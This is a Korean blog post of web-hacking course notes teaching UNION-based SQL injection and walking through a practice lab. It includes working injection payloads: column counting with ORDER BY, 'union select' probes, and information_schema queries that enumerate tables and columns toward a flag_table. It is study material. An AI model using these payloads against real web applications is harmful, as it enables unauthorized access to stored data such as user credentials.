UNION
Union은 SQL에서 서로 다른 SELECT의 결과를 하나의 결과로 합쳐주는 역할을 한다.
예를 들어 아래와 같은 데이터를 가지는 테이블이 존재한다고 하자
tbl_member
ID | PASS | CREATE_DT |
patrache01 | 123 | 2023-11-30 |
patrache02 | 456 | 2023-11-30 |
patrache03 | 789 | 2023-11-30 |
patrache03 | 000 | 2023-11-30 |
tbl_games
NAME | COMPANY | PRICE |
디아블로 | 블리자드 | 50,000 |
리그오브 레전드 | 라이엇 게임즈 | 0 |
게임을 조회하는 화면에서 아래와 같은 쿼리를 사용할 것으로 생각된다.
SELECT NAME, COMPANY, PRICE FROM tbl_games WHERE NAME LIKE '%디아블로%'
그럼 결과는
디아블로, 블리자드, 50,000이라는 결과를 반환한다.
해당 쿼리에 UNION을 사용하여 tbl_member의 데이터를 추출하려면
SELECT NAME, COMPANY, PRICE FROM tbl_games WHERE NAME LIKE '%디아블로%'
UNION
SELECT ID, PASS, CREATE_DT FROM tbl_member
쿼리를 만들면 된다.
이를 위해 입력값에 들어갈 데이터는
'%디아블로%' UNION SELECT ID, PASS, CREATE_DT FROM tbl_member WHERE '1%'='1%'
이다
LIKE 검색으로 %가 들어있기 때문에 마지막에 '1%'='1%'를 추가하였다.
위와같이 UNION은 선행하는 컬럼의 개수와 후행하는 컬럼의 개수가 동일해야한다.
ORDER BY
ORDER BY는 데이터의 정렬을 하는 SQL 구문이다.
SELECT ID, PASS, CREATE_DT FROM tbl_member ORDER BY ID
위와같은 구문이 실행된다면 결과는 ID가 오름차순으로 정렬된 데이터를 반환한다.
그러나 ORDER BY구문에 한가지 특징이 있는데 SELECT 구문의 INDEX(순서)를 넣을 수 있다는 것이다.
이를 사용하여 UNION에 사용하는 컬럼의 개수를 구할 수 있다.
SELECT ID, PASS, CREATE_DT FROM tbl_member ORDER BY 1
연습
위와같이 데이터를 조회 할수 있는 웹이 존재한다.
1. SQL Injection이 동작하는지 확인해보자
검색을 해보니 like 검색으로 동작하는 것 같다 즉 조건문은 아래와 같을 것이다
WHERE ID LIKE '%입력데이터%'
Ad%' '1%'='1 로 입력해서 데이터가 나오는 것을 확인 했으며 이를 통해 SQL Injection이 동작 하는 것을 알 수 있다.
2. 컬럼 개수 찾기
order by를 사용하여 선행 되는 select의 컬램 개수를 찾아보자
order by 2를 사용하니 level의 컬럼이 오름차순으로 정렬되었다.
이와같은 방법으로 숫자를 늘려가니 5에서 데이터의 결과가 없었다 즉 선행되는 컬럼의 개수는 4개이다.
3. 컬럼의 위치 찾기
현재는 4개의 컬럼을사용하고 4개의 컬럼 정보가 모두 화면에 나오지만 선행하는 SELECT의 컬럼이 10개고 화면에 4개만 출력된다면 출력되는 컬럼의 위치를 찾아야한다.
그 방법은 union으로 데이터를 넣고 출력해보는 것
%' union select 1, 2, 3, 4 from dual#
1,2,3,4 모두 화면에 표기 되는 것을 알 수 있다.
4. DB확인
어떠한 DB(일부 DB에서는 스키마라고 한다.)
%' union select 1, database(), 3, 4 from dual# 를 통해 DB명을 확인
sqli_1이라는 DB를 사용하고 있음을 알 수 있다.
5. 테이블 확인
information_shcema라는 곳에 Table들의 이름이 있다.
%' union select table_name, 1, 2, 3 from information_schema.`TABLES`#
구문을 사용하여 테이블 명들을 가져올 수 있다.
해당 테이블 중 내가 사용할 테이블은 flag_table이다.
6. 컬럼 이름 확인
조회할 DB와 Table을 찾았으니 이제 어떠한 컬럼을 가지고 있는지 확인해보자
컬럼정보는 INFORMATION_SCHEMA.COLUMNS에 있으며 COLUMN_NAME을 조회하면된다.
%' union select COLUMN_NAME, 1, 2, 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'sqli_1'and TABLE_NAME = 'flag_table' #
7. 데이터 추출
이제 위의 정보를 기반으로 flag_table의 flag컬럼을 조회해보자
'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글
9주차 XSS(크로스 사이트 스크립트) (0) | 2023.12.21 |
---|---|
8주차 SQL Injection 대상 찾기 (1) | 2023.12.18 |
5주차 SQL Ijection (2) | 2023.11.26 |
4주차 (burp suitte) (0) | 2023.11.15 |
3주차 (쿠키, 세션) (0) | 2023.11.08 |